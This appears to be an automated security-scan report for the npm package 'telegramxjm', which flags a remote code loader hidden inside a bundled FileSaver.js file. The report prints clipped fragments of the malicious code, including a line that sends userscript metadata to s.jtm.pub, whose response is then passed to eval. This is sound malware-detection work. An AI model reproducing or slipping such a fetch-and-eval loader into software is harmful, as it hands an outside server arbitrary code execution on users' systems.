registry / telegramxjm / 1.0.1

telegramxjm@1.0.1

AI Security Review

scanned 1d ago · by lpm-firewall-ai

A bundled userscript-style loader contacts a third-party host with script metadata and evaluates the returned text. The remote server therefore controls code executed in the userscript context.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Loading either downloader file in an environment providing GM_info and GM_xmlhttpRequest.

Impact

The endpoint can run arbitrary code with the permissions of the userscript manager and receive identifying script metadata.

Mechanism

Remote response fetched and evaluated as code.

Attack narrative

When loaded as a userscript, the code collects metadata from GM_info.script, sends it to s.jtm.pub, and passes the returned response directly to eval. This gives the remote service control of executable code in the userscript context. The duplicate loader reinforces that this is intentional rather than an unused library primitive.

Rationale

The package contains an active remote code loader that evaluates unverified server content. Although it has no npm lifecycle hook, this is concrete arbitrary code execution when the bundled files are loaded in their intended userscript environment.

Evidence

downloader.all.jsdownloader.test.jssp_req_daily

Network endpoints1

s.jtm.pub/api/sp/lib

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

downloader.all.js sends userscript metadata to s.jtm.pub and executes the response with eval.
The same remote-code loader is duplicated in downloader.test.js.
The manifest names a missing index.js entry point, so the loader is not a normal usable npm module.

Evidence against

package.json contains no preinstall, install, or postinstall hook.
No filesystem, shell, or credential-harvesting code was found in the inspected files.

Behavioral surface

Source

Eval

Supply chain

MinifiedTrivialUrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 7.37 KB of source, external domains: s.jtm.pub

Source & flagged code

5 flagged

downloader.all.jsView file

Lines 1-3javascript

1(function(a,b){if("function"==typeof define&&define.amd)define([],b);else if("undefined"!=typeof exports)b();else{b(),a.FileSaver={exports:{}}.exports}})(this,function(){"use strict";function b(a,b){return"undefined"==typeof b?b={autoBom:!1}:"object"!=typeof b&&(console.warn("Deprecated: Expected third argument to be a object"),b={autoBom:!b}),b.autoBom&&/^\s*(?:text\/\S*|application\/xml|\S*\/\S*\+xml)\s*;.*charset\s*=\s*utf-8/i.test(a.type)?new Blob(["\uFEFF",a],{type:a.type}):a}function c(a,b,c){var d=new XMLHttpRequest;d.open("GET",a),d.responseType="blob",d.onload=function(){g(d.response, ...

2!function(){try{const DAILY_LIMIT=15,STORAGE_KEY="sp_req_daily";let data;try{data=JSON.parse(GM_getValue(STORAGE_KEY,"{}"))||{}}catch(t){data={}}data.date=

3//# sourceMappingURL=FileSaver.min.js.map

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

downloader.all.jsView on unpkg · L1

High

Eval

Package source references dynamic code evaluation.

downloader.all.jsView on unpkg · L1

Long lines were clipped for display.

downloader.test.jsView file

Lines 1-3javascript

1(function(a,b){if("function"==typeof define&&define.amd)define([],b);else if("undefined"!=typeof exports)b();else{

Source & flagged code

5 flagged · loading source

downloader.all.jsView file

1(function(a,b){if("function"==typeof define&&define.amd)define([],b);else if("undefined"!=typeof exports)b();else{b(),a.FileSaver={exports:{}}.exports}})(this,function(){"use stric... L2: !function(){try{const DAILY_LIMIT=15,STORAGE_KEY="sp_req_daily";let data;try{data=JSON.parse(GM_getValue(STORAGE_KEY,"{}"))||{}}catch(t){data={}}data.date=data.date||"",data.count=... L3: //# sourceMappingURL=FileSaver.min.js.map

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

downloader.all.jsView on unpkg · L1

1(function(a,b){if("function"==typeof define&&define.amd)define([],b);else if("undefined"!=typeof exports)b();else{b(),a.FileSaver={exports:{}}.exports}})(this,function(){"use stric... L2: !function(){try{const DAILY_LIMIT=15,STORAGE_KEY="sp_req_daily";let data;try{data=JSON.parse(GM_getValue(STORAGE_KEY,"{}"))||{}}catch(t){data={}}data.date=data.date||"",data.count=... L3: //# sourceMappingURL=FileSaver.min.js.map

High

Eval

Package source references dynamic code evaluation.

downloader.all.jsView on unpkg · L1

2const{author:author,name:name,version:version,namespace:namespace,updateURL:updateURL}=GM_info.script,jurl="https://s.jtm.pub/api/sp/lib?author="+encodeURIComponent(author)+"&name="+encodeURIComponent(name)+"&version="+encodeURIComponent(version)+"&namespace="+encodeURIComponent(namespace)+"&updateURL="+encodeURIComponent(updateURL)+"&timestamp="+Date.now();

Findings

1 Critical4 High1 Medium2 Low

CriticalRemote Asset Decode Executedownloader.all.js

HighEvaldownloader.all.js

HighAi Review Evidencedownloader.all.js

HighAi Review Evidencedownloader.test.js

MediumStructural Risk Force Deep Review

LowScripts Present

LowUrl Strings